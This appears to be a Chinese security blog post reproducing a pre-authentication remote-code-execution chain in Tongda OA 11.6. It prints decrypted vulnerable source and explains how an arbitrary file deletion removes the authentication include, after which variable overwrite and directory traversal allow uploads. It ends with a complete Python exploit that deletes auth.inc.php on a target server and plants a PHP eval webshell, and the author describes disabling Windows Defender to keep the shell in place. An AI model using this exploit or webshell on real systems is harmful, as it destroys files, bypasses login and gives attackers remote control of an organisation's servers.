要护网了,没事复现一下通达OA11.6的洞。
环境搭建
部署方式挺傻瓜式的,一个exe文件,一键安装,甚至连php_study都不用。本着不能。破坏主机环境的原则,拉到虚拟机去了。
通达应用服务控制中心:
php解密
源码分析卡了我很久,发现整个项目的php文件是被Zend方法加密的,骚到了骚到了。
在线解密网站:DEPHP解密
批量解密工具:SeayDzend(zend解密工具)
解密完就能分析源码了(虚拟机还是有点久的,大概撕了快一个小时了吧)。
任意文件删除
漏洞起点在/module/appbuilder/asserts/print.php
文件中。
<?php
$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
$s_tmp .= "/" . $_GET["guid"];
if (file_exists($s_tmp)) {
$arr_data = unserialize(file_get_contents($s_tmp));
unlink($s_tmp);
$s_user = $arr_data["user"];
}
else {
echo "未知参数";
exit();
}
include_once "general/appbuilder/web/get_crscell.php";
echo "<!DOCTYPE>\r\n<head>\r\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\" >\r\n</head>\r\n<body>\r\n<p>——打印(请确保本机安装了office word或wps专业版办公软件。如果打印不出来,请到任务管理器把word或wps进程全部结束,然后重新打印。打印时用默认打印机打印,请到控制面板中设置默认打印机。)——</p>\r\n<!--object不能隐藏,否则会导致手写签章打印不了-->\r\n<OBJECT classid=\"clsid:75B2196F-E164-445A-ADCA-A15DDEFF24B0\" id=CellWeb1 name=CellWeb1 style=\"DISPLAY: none; LEFT: 0px; TOP: 0px; POSITION: ABSOLUTE;width:1;height:1;\">\r\n</OBJECT>\r\n</body>\r\n<script type=\"text/javascript\" src=\"/module/appbuilder/js/json.js\"></script>\r\n<script type=\"text/javascript\" src=\"/static/js/jquery-1.10.2/jquery.min.js\"></script>\r\n<script LANGUAGE=\"javascript\">\r\n var isTrident = navigator.userAgent.indexOf('Trident') > -1;\r\n if(!isTrident){\r\n close();\r\n }\r\n var printData = $.parseJSON('";
echo $arr_data["data"];
echo "');\r\n function sealToPicture() {\r\n $.each(printData, function (index, aForm) {\r\n var col_count = 0;\r\n $.each(aForm, function (col_index, aData) {\r\n if (aData.datatype2 == \"signature\" || aData.datatype2 == \"seal\") {\r\n if (aData.value == '') {\r\n return true;\r\n }\r\n //console.log(aData.value);\r\n col_count++\r\n if (window.DWebSignSeal == undefined) {\r\n $('<object id=\"seal\" classid=\"CLSID:77709A87-71F9-41AE-904F-886976F99E3E\" style=\"width:150px;height:150px;display:none;\" codebase=\"/module/websign/WebSign_trial.dll#version=4,5,0,0\"></object>').appendTo($(\"body\"));\r\n window.DWebSignSeal = $(\"object[classid='CLSID:77709A87-71F9-41AE-904F-886976F99E3E']\")[0];\r\n window.DWebSignSeal.SetCurrUser(\"";
echo $s_user;
echo "\");\r\n }\r\n var dt = aData.value.split(',')\r\n if (dt.length > 0 && dt[0] != '') {\r\n window.DWebSignSeal.SetStoreData(dt[0]);\r\n }\r\n if (dt.length > 1 && dt[1] != '') {\r\n window.DWebSignSeal.SetStoreData(dt[1]);\r\n }\r\n window.DWebSignSeal.ShowWebSeals();\r\n\r\n var s_seal_pic = '';\r\n var s_path = window.DWebSignSeal.GetTempFileName();\r\n var p = s_path.lastIndexOf(\"/\");\r\n s_path = s_path.substring(0, p + 1);\r\n var i_count = 1;\r\n var aSeal = window.DWebSignSeal.FindSeal(\"\", 0);\r\n //路径加时间戳解决可能是删除失败总打印同一个章的问题 by cjw 4.26\r\n var timestamp = (new Date()).valueOf();\r\n //console.log(aSeal)\r\n while (aSeal) {\r\n window.DWebSignSeal.SetSealSignData(aSeal, aData.otherData != undefined ? aData.otherData : \"\");\r\n window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', s_path + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_\" + timestamp + \"_.gif\");\r\n //window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', \"d:/\" + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_.gif\");\r\n if (s_seal_pic != '') {\r\n s_seal_pic += ','\r\n }\r\n s_seal_pic += s_path + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_\" + timestamp + \"_.gif\"\r\n window.DWebSignSeal.DelLocalFile(window.DWebSignSeal.GetTempFileName());\r\n aSeal = window.DWebSignSeal.FindSeal(aSeal, 0);\r\n i_count++;\r\n }\r\n// window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', 'd:/1.gif');//s_path + \"_PRINT_SEAL_\" + index + \"_.gif\");\r\n //window.DWebSignSeal.DelLocalFile(window.DWebSignSeal.GetTempFileName());\r\n var aSeal = window.DWebSignSeal.FindSeal(\"\", 0);\r\n while (aSeal) {\r\n window.DWebSignSeal.DelSeal(aSeal)\r\n aSeal = window.DWebSignSeal.FindSeal(aSeal, 0);\r\n }\r\n printData[index][col_index][\"value\"] = s_seal_pic;\r\n }\r\n })\r\n })\r\n $(\"div[id$='_hw_']\").remove();\r\n// console.log(printData)\r\n }\r\n// function sealToPicture() {\r\n// $.each(printData, function (index, aForm) {\r\n// var col_count = 0;\r\n// $.each(aForm, function (col_index, aData) {\r\n// if (aData.datatype2 == \"signature\" || aData.datatype2 == \"seal\") {\r\n// if (aData.value == '') {\r\n// return true;\r\n// }\r\n// //console.log(aData.value);\r\n// col_count++\r\n// if (window.DWebSignSeal == undefined) {\r\n// $('<object id=\"seal\" classid=\"CLSID:77709A87-71F9-41AE-904F-886976F99E3E\" style=\"width:150px;height:150px;display:none;\" codebase=\"/module/websign/WebSign_trial.dll#version=4,5,0,0\"></object>').appendTo($(\"body\"));\r\n// window.DWebSignSeal = $(\"object[classid='CLSID:77709A87-71F9-41AE-904F-886976F99E3E']\")[0];\r\n// window.DWebSignSeal.SetCurrUser(\"";
echo "//\");\r\n// }\r\n// var dt = aData.value.split(',')\r\n// if (dt.length > 0 && dt[0] != '') {\r\n// window.DWebSignSeal.SetStoreData(dt[0]);\r\n// }\r\n// if (dt.length > 1 && dt[1] != '') {\r\n// window.DWebSignSeal.SetStoreData(dt[1]);\r\n// }\r\n// window.DWebSignSeal.ShowWebSeals();\r\n//\r\n// var s_seal_pic = '';\r\n// var s_path = window.DWebSignSeal.GetTempFileName()\r\n// var p = s_path.lastIndexOf(\"/\");\r\n// s_path = s_path.substring(0, p + 1);\r\n// var i_count = 1;\r\n// var aSeal = window.DWebSignSeal.FindSeal(\"\", 0);\r\n// //路径加时间戳解决可能是删除失败总打印同一个章的问题 by cjw 4.26\r\n// var timestamp = (new Date()).valueOf();\r\n// //console.log(aSeal)\r\n// while (aSeal) {\r\n// window.DWebSignSeal.SetSealSignData(aSeal, aData.otherData != undefined ? aData.otherData : \"\");\r\n// window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', s_path + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_\" + timestamp + \"_.gif\");\r\n// //window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', \"d://\" + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_.gif\");\r\n// if (s_seal_pic != '') {\r\n// s_seal_pic += ','\r\n// }\r\n// s_seal_pic += s_path + \"_PRINT_SEAL_\" + index + \"_\" + col_count + \"_\" + i_count + \"_\" + timestamp + \"_.gif\"\r\n// window.DWebSignSeal.DelLocalFile(window.DWebSignSeal.GetTempFileName());\r\n// aSeal = window.DWebSignSeal.FindSeal(aSeal, 0);\r\n// i_count++;\r\n// }\r\n//// window.DWebSignSeal.GetSealBmpToFile(aSeal, 'gif', 'd://1.gif');//s_path + \"_PRINT_SEAL_\" + index + \"_.gif\");\r\n// //window.DWebSignSeal.DelLocalFile(window.DWebSignSeal.GetTempFileName());\r\n// var aSeal = window.DWebSignSeal.FindSeal(\"\", 0);\r\n// while (aSeal) {\r\n// window.DWebSignSeal.DelSeal(aSeal)\r\n// aSeal = window.DWebSignSeal.FindSeal(aSeal, 0);\r\n// }\r\n// printData[index][col_index][\"value\"] = s_seal_pic;\r\n// }\r\n// })\r\n// })\r\n// $(\"div[id$='_hw_']\").remove();\r\n// //console.log(printData)\r\n// }\r\n\r\n function open_report() {\r\n sealToPicture();\r\n var s_href = location.href;\r\n var i_idx = s_href.indexOf(\"/\", 8);\r\n s_href = s_href.substring(0, i_idx);\r\n CellWeb1.TemplatePrint2(s_href, '";
echo $arr_data["phpsessid"];
echo "', \"";
echo $arr_data["attach_uri"];
echo "\", JSON.stringify(printData));\r\n if(window.opener){\r\n window.opener.close();\r\n }\r\n close();\r\n }\r\n\r\n window.setTimeout('open_report();', 0);\r\n</script>";
?>
源码不长,放出来大家共赏吧。不得不说,但凡没有十年脑血栓都写不出这样的代码。这里有一个任意文件删除,只要提交参数$guid
就可以删除任意文件。
身份认证绕过
通达OA通常通过文件包含认证文件auth_inc.php
的方式进行身份认证。
文件中,会检查用户的SESSION,如果没有登录,会直接阻断。但是如果利用任意文件删除漏洞,将inc/auth_inc.php
文件删除,由于PHP中include_once
没有文件包含时自动跳过,就可以绕过身份认证了。
文件上传
上传点位于\webroot\general\data_center\utils\upload.php
。
首先第三行,对用户身份进行认证,可以直接通过任意文件删除绕过;在第六行包含了inc/header.inc.php
文件,将所有提交的$_REQUEST
注册为变量,这里可以使用变量覆盖。
第10行和第11行分别修改$action
参数和$filetype
参数,将文件上传到/data_center/attachment
。
接着,将$s_n覆盖为即将上传的文件名,利用$repkid参数进行目录穿越(因为OA的Nginx限制了文件目录的访问权限,禁止了php文件的解析,所以需要上传到其他目录中),最后拼接字符串。
利用链总结
利用print.php文件中存在任意文件删除漏洞,删除身份验证文件/auth.inc.php从而绕过身份认证。
在文件上传点中存在变量覆盖漏洞,修改参数实现任意文件上传以及目录穿越。
exp
手撕也可以,直接用脚本打也可以,毕竟通用exp已经烂大街了。
由于官方修复方式是直接删除print.php,所以如果不香造成破坏的话,直接检测有没有存在print.php就好了。
import requests
target="http://1ocalhost/"
payload="<?php eval($_POST['shell']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[-]Failed to deleted auth.inc.php")
exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=tql&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('shell.php', payload)}
requests.post(url=url,files=files)
url=target+"/_shell.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
print("[+]Filed Uploaded Successfully")
print("[+]URL:",url)
else:
print("[-]Failed to upload file")
成功了,然后愉快的被Windows Defender删掉了= – =。
把狗关掉,重新上传。
愉快看到自己的小马
参考
https://v0w.top/2020/03/20/TODA-FileUpload-Inclusion-vuln/#%E5%89%8D%E8%A8%80
https://drivertom.blogspot.com/2020/08/oa116-preauth-rce-0day.html
https://blog.csdn.net/weixin_42450002/article/details/112336393